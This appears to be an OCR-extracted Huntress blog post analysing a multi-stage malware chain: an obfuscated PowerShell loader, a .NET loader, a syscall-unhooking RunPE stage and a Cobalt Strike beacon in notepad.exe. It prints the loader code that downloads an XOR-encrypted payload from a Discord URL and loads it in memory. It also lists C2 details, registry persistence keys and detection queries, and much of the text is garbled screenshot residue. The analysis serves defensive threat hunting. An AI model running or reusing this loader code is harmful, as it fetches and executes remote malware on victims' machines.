$uyoqwosjjvjz = $sgripsgtoum.$gngosiijrvmngysz()

[array]::Reverse($uyoqwosjjvjz)

$ztyvktpvnogqyggn = —join($uyoqwosjjvjz)

$irwtrqqzruhiw = [System.Convert]::FromBase64String("$ztyvktpvnogqygqn")

$zpwvphpmzj = [System.Convert]::FromBase64String("9CsE3VTEFYQp9gPsjJwwoNHzj jA+HosATB1pza/heUY=")

$rvxnqoizjsy ==gCkV2Zh5WYNNXZB5SeoBXYyd2b@BXeyNkL5RXayV3YIN1LtVGdz13U"

$sgrhmwnijtv = $rvxnqoizjsy.$gngosiijrvmngysz()

[array]::Reverse($sgrhmwnijtv)

$kgswrozugqrrn oin($sgrhmwnijtv)

$yrgjkzhijhzmxj [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($kgswrozugqrrnk))
$vtpozjvihirmr = New-Object "$yrgjkzhijhzmxjryh"

$ikuuyhsqgqsvxzqut = "==gQDVk060OVZkIWTyVGawl2QukHawFmcn9GdwlncD5Se@1mcINWZT5Sb1R3c5NIW'

$musuhryxxyigs = $ikuuyhsqgqsvxzqut.$gngosiijrvmngysz()

[array]::Reverse($musuhryxxyigs)

$srqvrhkvrzh = -join($musuhryxxyigs)

$psqokpyttwqv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($srqvrhkvrzh))

$tpqvrviosq = & ([scriptblock]::Create($psqokpyttwqv))

$vtpozjvihirmr.$yuhrishqyppnh = $tpgvrviosq

$jgnynyoktqugr = "==wMykDWIN1TBpj0dVGZv10ZulGZkFGUukHawFmcn9GdwlncD55e@1mcINWZT5Sb1R3c5N1W"
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After cementing what we just learned, we gain a new output.

. = length: 1112 =
Recipe BB Input e + O e =
From Base64 o n

Alphabet .

A-Za-z0-9+/=

9P: qe. Jp/U35QdFoCQ+A X

Remove non-alphabet chars [ Strict mode 1y46ViddY1VeukkN7z9raEcf7mCcOhbaNF juP/KUeS eI3LCABGSADH31
Drop bytes (]

Start Length

0 16
|:| Apply to each line

time: 15ms
length: 1666 .

AES Decrypt ® 1] OUtPUt el“j‘.ges: 56 a I—D m v
‘ function Hex-To-Bytes{

ey . . .

. L. BASE64 ¥ [cmdletbinding()]param( [parameter(Mandatory=$true)] [String]$hex);

9CsE3VTEFYQp9gPsjJwwoNHZzj j... $a = shex.Length / 2

W [byte[1]1$Bytes = New-Object System.Bytel[] $a

wrC4LebwbvKI8/5G1IZy iw== BASE64 ~ for($i=0; $i -1t $hex.Length; $i+=2){

$Bytes[$i/2] = [convert]::ToByte($hex.Substring($i, 2), 16)
Mode Input }
ECB Raw return $Bytes
I
Output
Raw $enc = [System.Text.Encoding]::UTF8
function xor {
param($string)
- $xorkey = $enc.GetBytes("kriybwqoz")
]
STEP P BAKE! Auto Bake $string = $enc.GetString([System.Convert]::FromBase64String($string))

shvteStrina = &enc.GetRvtes(&strina)

To go further, it's required to download the payload from a Discord link. This comes down to analysts' choice in how
they download malicious samples.

Note: If a script has Reflection

.Assembly (assembly), this loads a .NET payload. Therefore anytime we see

Reflection.Assembly we know we’re dealing with a .NET malware.
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https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=net-6.0

function Hex-To-Bytes{
[cmdletbinding()lparam( [parameter(Mandatory=$true)] [Stringl$hex);
$a = $hex.Length / 2
[byte[]]1$Bytes = New-Object System.Byte[] $a
for($i=0; $i -1t $hex.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($hex.Substring($i, 2), 16

}
return $Bytes
};
$enc = [System.Text.Encoding]::UTF8
function xor {
param($string)
$xorkey = $enc.GetBytes("kriybwqoz")
$string = $enc.GetString([System.Convert]::FromBase64String($string))
$byteString = $enc.GetBytes($string)

$xordData = $(for ($i = 0; $i -1t $byteString.length;
for ($j = 0; $j -1t $xorkey.length; $j++) {
$byteString[$i] -bxor $xorkey[$j]
$i++
if ($i -ge $byteString.Length) {
$j = $xorkey.length
}
}
)
$xordData = $enc.GetString($xordData)
return $xordData
}
$i = 0;
While ($True){
$it++;
$ko = [math]::Sqrt($i);
if ($ko -eq 1000){ break}
}
$webClient = New-Object System.Net.WebClient
[string]l $xoredText = $webClient.DownloadString("https://cdn.discordapp.com/attachments/1013559875034415135/1014369421629857882/sdwwcKkjnwsdw.mkv")
[stringl$hex = xor -string $xoredText

echo $hex

[byte[]]1$bytes = Hex-To-Bytes —hex $hex

echo $bytes.Length

[Reflection.Assemblyl$a = [Reflection.Assembly]::Load($bytes)
[object]$o = $a.CreateInstance("D1l1lClass")

[Typel$t = $a.GetType("DllClass")

After downloading the Discord payload, we will allow the script to do the heavy lifting. We just need to modify parts out
of the script after we downloaded and isolated the payload:

[string] $xoredText = Get-Content "C:\\users\\Burgers\\Desktop\\mkv.txt"
[io.file]::writeallbytes("C:\\users\\burgers\\desktop\\mkv_decoded.bin", $bytes)
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1 Hfunction Hex-To-Bytes{

2 cmdletbinding(Qlparam([ ter (Mandatory=$true)] [stringlshex);
3 Sa = Shex.Length / 2

4 [byte[]]$Bytes = New-Object System.Byte[] Sa

5 & for(5i=0; $i -1t Shex.Length; $i+=2){

6 ) $Bytes[$i/2] = [convert]::ToByte(Shex.substring(3i, 2), 16)
7

8 return $Bytes

9 |}

10

11 Senc = [System.Text.Encoding]::UTF8

12 gfunction xor {

13 param($string)

14 Sxorkey = Senc.GetBytes("kriybwqoz")

15 $string = Senc.Getstring([System.Convert]::FromBase64string($string))
16 Sbytestring = $enc.GetBytes($string)

17

18 = sxordpata = $(for (31 = 0; $i -1t Sbytestring.length; ) {
19 & for (83 = 0; $j -1t Sxorkey.length; $j++) {

20 sbytestring[$i] -bxor $xorkey[$j]

21 i+t

22 if (i -ge Sbytestring.Length) {

23 $j = $xorkey.length

24 }

25

26

27 $xordpata = Senc.Getstring($xordpata)

28 return $xordpata

29 |}

30

31 $i = 0;

32 =while (STrue){

33 i+

34 Sko = [math]::sqrt($i);

35 if (Sko -eq 1000){ break}

36 |}

37

38  #Swebclient = New-oObject System.Net.webclient
39  #[string]l$xoredText = SwebClient.Downloadstring("https://cdn.discordapp.com/attachments/1013559875034415135/1014369421629857882/sdwwckkjnwsdw.mkv')

41  [string] SxoredText = get-content "C:\\users\\burgers\\desktop\\mkv.txt"
42 [string]shex = xor =-string $xoredText

43  #echo Shex

44 [byte[]]Sbytes = Hex-To-Bytes -hex S$hex

45 [io.filel::writeallbytes("c:\\users\\burgers\\desktop\\mkv_decoded.bin", $bytes)
46  #echo Sbytes.Length

47 #[Reflection.Assembly]$sa = [Reflection.Assembly]::Load(Sbytes)

48 #[object]So = S$a.CreateInstance("D11cClass")

49 #[Typelst = Sa.GetType("D11Class™)

50 #[system.object[]]$params = New-Object system.object[] 1

51  #S$params[0] = Shex

52 #[System.Reflection.MethodInfol$mi = $t.GetMethod("Main™)

54 #if(Smi.cetParameters().Length -eq 0){
55 # Sparams = $null
56 #}

e aaa SeT— e
[io.file teallbytes users\\burgers\\desktop\\mkv_decoded.bin", Sbytes)
#echo Sbytes.Length

#[Reflection.Assembly]$a = [Reflection.Assembly]::Load(Sbytes)

#[object]s $a.createInstance("Dl1class™)

#[Typel$: Sa_GetType("Dl1class")

#[system.object[]]$params = New-Object System.object[] 1

#Sparams[0] = Shex

#[system.Reflection.MethodInfo]l$mi = $t.GetMethod("Main™)

#if(8mi.GetParameters().Length -eq 0){
$params = $null
#3mi.Invoke (S0, $params)

PS C:\Users\Burgers>

With the decoded mkv_decoded. bin it's important to still do a quick static analysis of the payload within pestudio. The
signature confirms our suspicions of it being .NET. Along with the description and version of the file, it gives us
additional information that the payload may be a netLoaderbdll. We also see the entropy is only 2.980, showing this
payload may not be packed.

SRCH c:\users\burgers\desktop\mkv_decoded.bin property value

Jil indicators (28)

md5 F7DS9B033ET713E90913F03CASD1EBBS
2 dos-header (64 bytes) shal D2AEEB475B5BE653E477EEBSDIFEB6BAOBIFEDES
- o (Eﬁ'_d bt ’TS sha256 56801583A9926543C 76DEB2750407465280762682 TR0 AAFFABFCTTDD1A4CTSA
0s5-stul es,
first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
. first-bytes-text AR (- | SR
optional-header (console) file-size 3376128 bytes
-5 directories (5) entropy 2,920
sections (99.98%) imphash DAEQ2F32A21E03CERS412FRES6942DAA

£ libraries (mscoree.dIl) * signature Microsoft Visual C# / Basic NET
- _| functions (61) tooling

3 entry-peint FF 2500 2000 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
] file-version 1.0.00
-{ = NET (v4.0.30319) description netLoaderDIl

5 resources (version) file-type dynamic-link-library
--3be :"H‘JZ'Z\ZE (FLI 32-bit
A subsystem console

=) compiler-stamp xEQ7644DA (Mon May 02 04:40:58 2089 | UTC
{10] version (netLoaderDIl.dIl) debugger-stamp

]

IESOUTCES'S‘Emp
import-stamp
exports-stamp

Inspecting the netLoaderDIl within dnSpy we see a few classes: Main, runPayload and StringToByteArray.
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https://www.winitor.com/

P =B Type References

P =B References
4 {}
4 %3 DIIClass @020000

P Ml Base Type and Interfaces
P M Derived Types

This application stores the next stage of the malware within Main (), which we see has a large byte array within it. The
netLoaderDIl requires StringToByteArray to convert the hex to an application and runpayload will launch the next
stage.

num++;
num2 = . ( )num) ;

(num2 1=
he

Extract the hex string from dnSpy and place it within Cyberchef and convert From Hex to gain our next stage.
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Recipe S ] Input lengtn: 16855 + [J 2] W E

From Hex QO n

Delimiter

Auto

Name: PastedData *
Size: 1,685,504 bytes
Type: text/plain
Loaded: 100%
Output #- o @ 0O @ O

Size: 842,752 bytes

DOWNLOAD

Q o S to 2048 ©

- g
STEP é BARE Auto Bake

Once more place the next stage within pestudio for a quick static analysis of the file's contents. We can see the
original files named RunPE.exe. With a description of SyscallPEloader, we can somewhat safely assume this is
potentially a tool to modify the syscall. This file is now packed heavily with an entropy of 7.766.
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\burgers\desktop\runpe.exe property value

- indicators (39) md3 2E39F9EDA2DERB22ATEFCAB69BRASCS

i > shal BD8CAE38CCEE48DS58E5FICCRI77CEF7DTFES20EB

i I dos-header (64 bytes)

B dos-stub (64 bytes) 5?13256 DF94021D44748946E0565207E453DBC66D80020868E6B14D49353F3D1C3D35C3
i first-bytes-hex 4D 54 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 0O
> file-header (time-stamp) first-bytes-text MZoe e @

i optional-header (console) file-size 842752 bytes

. # directories (3) entropy 7.766

il sections (99.94%) imphash

L] libraries (3) * signature Microsoft [NET

... functions (2839) tooling

| entry-point 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00

] file-version 1.0.0.0

[ NET (v4.0.30319) description SyscallPELoader

-3 resources (2) file-type executable

i..abe strings (27429) cpu 64-bit

i f_ﬁ debug (time-stamp) subsystem console

i [& manifest (aslnvoker) compiler-stamp 0x9E2F 1608 (Thu Feb 05 06:32:40 2054 | UTC

version (RunPE.exe) debugger-stamp
Qo resources-stamp

import-stamp n/a
exports-stamp

Sadly this is not the last stage of the malware, and it appears that it is using a common evasion tactic of unhooking
APIs within the host and thus spawns a process for Notepad.exe. Needing further insight, we turn to one of our
neighborhood experts to finish off this investigation.

Big thanks to @Matthew Brennanfor his insight on this next stage.
The following is basically a TL;DR of Matthew's findings. Let's check it out!
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https://depthsecurity.com/blog/classic-api-unhooking-to-bypass-edr-solutions
https://twitter.com/embee_research

Loaded msvcrt.dll

Patching msvcrt.dll!__ C_specific_handler, to: @x7FFCFFOF7F6@
Patching msvcrt.dll!_getmainargs, to: Ox7FFCFF9D79D@
Patching msvcrt.dll! initenv, to: @x7FFCFFA64D28
Patching msvcrt.dll! iob_func, to: @x7FFCFFA@CF4@
Patching msvcrt.dll!__lconv_init, to: @x7FFCFF9FBeB@
Patching msvcrt.dll! set app type, to: 8x7FFCFFO9FB13@
Patching msvcrt.dll! setusermatherr, to: @x7FFCFFA38168
Patching msvcrt.dll!_acmdln, to: @x7FFCFFA645B@
Patching msvcrt.dll! amsg exit, to: ex7FFCFFABA19@
Patching msvcrt.dll! cexit, to: ©x7FFCFFA®A210
Patching msvcrt.dll! fileno, to: @x7FFCFFAl7@@@
Patching msvcrt.dll! fmode, to: Ox7FFCFFA6467C
Patching msvcrt.dll! initterm, to: @x7FFCFFABA51@
Patching msvcrt.dll! onexit, to: @x7FFCFF9FA99@
Patching msvecrt.dll! setjmp, to: @x7FFCFFA42CA@
Patching msvcrt.dll! setmode, to: @x7FFCFF9EC430
Patching msvcrt.dll!abort, to: @x7FFCFFOFF1E®
Patching msvcrt.dll!calloc, to: ©@x7FFCFF9E9C30
Patching msvcrt.dll!exit, to: @x7FFCFFABA7DO

Patching msvcrt.dll!fflush, to: @x7FFCFFA172Be
Patching msvcrt.dll!fprintf, to: @x7FFCFFA174B@
Patching msvcrt.dll!fputc, to: ex7FFCFFA1D15@
Patching msvcrt.dll!free, to: @x7FFCFF9E9C80

Patching msvcrt.dll!fwrite, to: @x7FFCFFA1E16©
Patching msvcrt.dll!longjmp, to: @x7FFCFFOFF840
Patching msvcrt.dll!malloc, to: @x7FFCFF9ESCD®@
Patching msvcrt.dll!memcmp, to: ©x7FFCFFA2CDF@
Patching msvcrt.dll!memcpy, to: ©x7FFCFFA443C@
Patching msvert.dll!printf, to: @x7FFCFFA18B5@
Patching msvcrt.dll!rand, to: @x7FFCFFA©O80

Patching msvcrt.dll!signal, to: @x7FFCFFOFAE4@
Patching msvcrt.dll!strcmp, to: @x7FFCFFA2DeD@
Patching msvcrt.dll!strlen, to: @x7FFCFFA2D2Ce
Patching msvcrt.dll!strncmp, to: @x7FFCFFA2D620
Patching msvcrt.dll!vfprintf, to: @x7FFCFFA1AeD@

End of functions for msvcrt.dll

Loaded USER32.d11
Patching USER32.dll!MessageBoxA, to: @x7FFDe@49BCA®
End of functions for USER32.d1l

End of DLLs
Finished resolving imports

Got fresh Syscall stub for NtAllocateVirtualMemory from disk!

Performing extra environmental patches

After the execution of the RunPE.exe, we open ResourceHacker to see available processes on the host.

I | notepad.exe 8020 4.64 MB DESI(TOP-PI'W...‘\Burg-;ers Motepad

Within properties, we open the Threads tab. Instantly a TID of 3488 flashes in front of us and changes its start
address from 0x1da511e0000 to 0x0.




o) notepad.exe (8020) Properties

Environment

General

TID
3488

3352
5468
6696
7056
7384

<

Statistics

CPU

Start module:

Started:
State:

N/A

Kernel time:

User time:

Context switches:

Cycles:

Inspect the thread, if you will: here we see sleepEx+0x9e which sleeps the host. Also, there is an address of
ox1da52c4acdf thatis close to the start address that flashed at the beginning. This could be the decryption piece of

N/A

Handles GPU Disk and Network
Performance  Threads  Token  Modules
Cycles delta Start address

0x1da511e0000
Ox/ffc178a2ad0
O0x7ffc178a2ad0
0w 7ffc178a2ad0
Ox7ffc178a2ad0
Ox7ffc178a2ad0
N/A
Priority: N/A

N/A Base priority: N/A

N/A 1/O priority: N/A

/A Page priority: N/A

Ideal processor:  NfA

O X

Comment
Memory

Priority
MNormal

MNormal
MNormal
Narmal
MNormal
Normal

Close

the software. Copy the thread oxida52c4acdf. Go ahead. It's okay.
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B ' Stack - thread 3488

Name
ntoskrnl.exe!KeWaitForSingleObject+0x38f0
ntoskrnl.exe!KeWaitForSingleObject+0x1787
ntoskrnl.exe!KeWaitForSingleObject+0x98f
ntoskrnl.exe!KeDelayExecutionThread+0x122
ntoskrnl.exe!SeReleaseSubjectContext+0x217f
ntoskrnl.exe!setjmpex+0x7ch5
ntdll.dll!NtDelayExecution+0x14

GO ~J|h A B R o= O

KernelBase.dll!SleepEx+0x9

Ox1daS2c4acdf

e = =
[ =]

Ux11519
0x1da00000000
0x30001c00000bb

Copy

Refresh

ST I

Now attach the Notepad.exe process to x64dbg and Go to Expression with Ctrl + G. Now paste the thread address

OO o Tr

I PTTET TR

TYST T

oxida52c4acdf and set an execution breakpoint. We'll wait.

W notep [ le: ntdildll - Thread: Mai 40 - x64dbg [l
File View Debug Tracing Plugins Favourites Options Help Apr 17 2021 (TitanEngine)
DE il Tt 9y taloZePie al O

Bcru  [Flog  [UNotes  ® Breakponts W MemoryMap () Callseck  S@seH (o scipt & symbols <> source

2 sub rsp,78
mov 13 Fex
mov_rax,qword ptr ds:[<88aseThreadInitTh|
Te:

aword ptr ss:[rsp+8]=|
FEx=00007FF6B2515A30

- Text:00007FFC178A2685 ntd11.d11:

il

o noﬂnuurinrﬂ] 0

sisivisisivivisvivnvivvisvivnnsvvsisy - nvvvvvnnivvsis

Cek\t”
$52685 #5185

8 A
49:88C1
FF15 A1091300

84170000

00
1839 FF
6EAC0400

:83c4 78

:895¢24 10
:894c24 08

8:859
F84 91020000
5:88 M1§5 60000000

xs mmnno
“Desrorr

18048 08
CDE9FDFF

18053 10
8802

13802
8417010000
18050 08

‘Ra54>4 28

st_ra
je ntd11.7FFC178A2653
Bov'rs rdx

rd

cox.
&1 quord per ds ; [76FC17903000 ]
I neam; L FRe178A2673

Vit o

call qwnrd ptr ds: [7FFC17903000 1

n ntdil.RelexituserThreads
0p

nov

" rcx, FEFFFFFFFFFFFFEF

calll <ntdl1.NtTerminateprocess>

nop
add rsp,78

rsp+108, rbx
rsp+8], fex

/- References ‘W Threads
RElUserThreadstare
rox: "Hfa ek

rox: "HEA 8K\

rex: "HFA (BK\E"

rox: "HEA (8K\T"

TpReeasecleanupGroupvembers

& Handes

7 Trace

3¢ hedi1. 7Frc178a2939
Doy rax auord per ;0]
£9; ord pzr rax
s (191481 ,0
mn P rci782939

|ox1das2ctacds

<np
jne

a
Gl <nid11. Re1acqui resru

D Enter expression to follow...

Correct expression! -> 000001DAS2C4ACDF

Cancel

nop
Tea_rex, guord ptr ds: [rbx:!

)
an <ntd11.Rt1AcquiresRWLockexcTusives

Tea r10,auord per ds: [rbx:10]
mov rax.auord per ds:ri0]
cmp

"t 1. 7ercL7saz7rs

rox: "HEA (ek\t"

Jea rdx,quord ptr ds: [rax-26]

Woumpl  gyoump2  @4Dump3 ¥ Dump4
Address. x

FrC: & 90 00[03 00 00 O FF P
90007FFC17830010 |88 00 00 00/ 00 00 00 O 00
00007FFC17850020 0 0000 00 00 O 00
00007FFC17850030 ou 0 0000 00 00 O €8
00007FFC17850040 A O 00 B4 09 CI o
00007FFC17850050 73 0 70|72 6F 67 61
00007FFC17850060 2 6520 72 75 44
00007Frc78300%0 |60 &7 &4 63 3¢ 05 00 00
00007FFC17850080 |07 A7 68 €A 43 C6 06 43 c
00007FFC17850090 |57 AD 06 38|42 C6 06 60 ct
00007FFC17850040 |57 AD 02 38|c2 C6 06 A sc
00007FFC1785008 D 03 3858 c6 06 22
00007FFC178500C0 |57 AD 04 38|42 C6 06 43
00007FFC17850000 |00 00 00 00|00 00 00 00
00007FFC178500€0 |00 00 00 00|00 00 00 64
00007FFC178500F0 |D6 D1 80 A2|00 00 00 Fo
00007FFC17850100 |08 02 OF 14|00 98 11 00
00007FFC17850110 |00 00 00 00|00 10 00 FC
00007FFC17850120 |00 10 00 00|00 02 00 [y
00007FFC17850130 |0A 00 00 00|00 00 00 00
00007FFC17850140 |25 84 1F 00|03 00 60 00
00007FFC17850150 |00 10 00 00|00 00 00 00 00
00007FFC17850160 |00 10 00 00|00 00 00 0[10 00
00007FFC17850170 |80 11 15 00|71 2€ 01 00 00

Command:

00000087 ABFEFAFS
00000087 ABFEFB00
00000087 ABFEFBO8
00000087 ABFEFB10
00000087 ABFEFB18
00000087 ABFEFB20
00000087 ABFEFB28
00000087 ABFEFB 30
00000087 ABFEFB38
00000087 ABFEFBA0
00000087 ABFEFB48
00000087 ABFEFB50
00000087 ABFEFB58
900000878 FEFB60

00000087 ABFEF8B0

0000000000000000
'0000000000000000
0000000000000000

0000000000000000

Hide FPU
RAX  000000000000000
RBX  000000000000000
RCX  00007FF6B25L5A3 HFd @K\
RDX  00000087ACO1A00
R8P 000000000000000
RSP 00000087ABFEFAE
RS 000000000000000
RDI  000000000000000
RS

R9

10

R11

R12

R13

1

RLS

RIP  00007FFC178A2630
RFLAGS _ 0000000000000200
ZF 0 PF O AF O

OF 0 SFO DF O

CFO TFO IF 1

Lasterror 00000000 (ERROR_SUCCESS)
Laststatus 00000000 (STATUS_SUCCESS)
GS 0028 Fs 0053

ES 0028 DS 0028

cs 0033 sS 0028

sT(0) X87r0 Empty
sT(1) X87rl Empty
sT(2) X87r2 Empty
STG) X87r3 Empty
ST(8) X87r4 Empty
sT(5) X87rS Empty
sT(6) X87r6 Empty
ST X87r7 Empty

X87TagWord FFFF.

X87TW 0 3 (Emoty)  x87TW 1 3 (Emoty)

Defauit (x64 fastcall) N

1 rox Q000TEFSB2SISAS0 KA KT
rdx 00000087ACt

8 oannooanaooannoo

£9 00000000000

 [rapi38] 0000000600000

3
3
i
5

<ntd1.RtlUserThreadstar

000000000C

000000000C

Change the thread to the value closest to the address; in this case, it is the thread using 000001DA511E0000.

ooo00000
g
g

3|0 unlocked
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Bl cru | tlog [ Notes  ® Breakpoints 8 MemoryMap [} CallStack =7 SEH  |o| Script @] Symbols <> Source . References W Threads @ Handles  §7 Trace

| 0000000000000000 | 0000008 000 | 0000 FFC A A Suspended
000001DA511E0000 00000057ACOID000 Executive
0000 SAZADU | 00000087AC02D000 00007FFC178F07(A suspended

00000000
00000000
00000000

Now we run the debugger until it hits the Hardware BreakPoint. We hit the key g and get a glimpse of what the loops
are doing on this host. This is potentially the decryptor algorithm.

We also set a Hardware on Execution breakpoint on the address 0600001DA52C4AD2B and run the application.

000001DA52C4ACDF
mmov rl0,qword ptr ds:[rbx+8]

000001DAS2C4ACE3

mov r9d,dword ptr ds 8
mov rlld dword ptr RE [rl +4]
lea ri10 qword ptr ds: [r10+8]
test rod,r

ine masicqacm

000001DA52C4ACF3
test rlld,rlld
je 1DAS52C4AD2B

000001DA52C4AD2B OOOOOIDASZCAACFS
cm

mov rbp,qword ptr ss:frsp+ jae e IDASZGAALEB

mov rsi, gword ptr ss:frsp+40

add rsp.

&

000001DA52C4ACFD
mov rdi,r9

000001DA52C4AD00

mov r8,qword ptr ds:[rbx]
moy eax,4ECA4EC4F

mul rod

mov eax,rdd

shr

nc
imul edx,edx,D

sub eax,edx

mov cl,byte ptr ds:[rax:rbx+10]
xor byte ptr ds:[ré+<rdil,cl

inc rdi

cmp r9d rild

ib 1DA52c4AD00

000001DA52C4AD29
imp 1DAS2C4ACE3

Now step in the code a few times and we get our C2 information: organitations[.]com/Preserve/stat/3E8YZFXJ
(69.28.84.201).

------- .
000001DA52C2BC6A 48:88B424 88000000 |mov rsi,qword ptr ss:
000001DA52C2BC72 48:8BAC24 90000000
48:888C24 98000000

DA52C2BC! 4D:8BC6
00000TNARICIRCRE 41°8rna

rsp+88] [rsp+88]:"Mozi11a/5.0 (Windows NT 6.0; WOW64) AppleWebkit/537.36 (KHTML, Tike Gecko) Chrome/48.0.2564.109 safari
mov rbp,qword ptr ss:[rsp+90] [rsp+90] "/Preserve/stat/3E8YZFX1"
mov rex gword per ss:frsp+9s| [rsp+98]:"organitations. com, /Preserve/stat/3e8YzFX3"
mov

B

000001DA52C28C64 | v OF86 C9010000 ‘jbe 1DAS52C2BE33

mov edv r12d
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Review ELK for the process notepad.exe that is spawned by the parent process powershell.exe with the command
from the user's environment.

Note: It's important to remove this process from the client as this is a cobalt strike beacon.

QU +process.name:notepad.exe +process.parent.name:powershell.exe +process.parent.args_count:7 Last 3 days

Field statistics ~ sera

ep 30, 2022 @ 07:12:49.34: 12:49.342 (interval: Auto - hour)

Bypass -windo

C:\WINDOWS\Explorer .EXE

TLDR:
The Initial payload for this malware is:

- a user downloads a maldocx from a phishing email

- they execute the executable which runs an encoded base64 command that disables the firewall and installs
environment persistence within the user's AutoRun key and creates a process that has RAT capabilities.

It's found some samples that have this form of execution pattern:
Maldocx — Javascript (Wscript) — Powershell Environment — Cobaltstrike

Maldocx — Powershell Environment — Cobaltstrike

Final Thoughts

We hope you found this deconstruction helpful and useful. Below are some additional resources for you to get your
hands dirty and gain a deeper understanding of what we did here in this blog today. The more analysts play around
with malware in a safe environment, the better they can become at spotting the nastier, greasier, well-hidden activity
lurking within environments.

Discord URLs

https://cdn[.]discordapp[.]com/attachments/1004902785772441697/1004915801771495495/ppp

https://cdn[.]discordapp[.]com/attachments/1013559875034415135/1014369421629857882/sdwwcKkjnwsdw.mkv

Autorun

HKU\SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKU\SID\Environment

HKU\SID\Software\<value>

C:\Users\User\appdata\local\temp\<value>.js - Some Variants
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Search Queries

+details.path:powershell.exe +details.command:"GetEnvironmentVariable"

+process.command_line.text:"GetEnvironmentVariable" +process.command_line.text:/[a-f0-9]{12,18}/

+process.name:notepad.exe +process.parent.name:powershell.exe +process.parent.args_count:7

+process.cleartext: (cdn.discordapp.com AND attachments)

Chad Hudson

ThreatOps Analyst Team Lead at Huntress.
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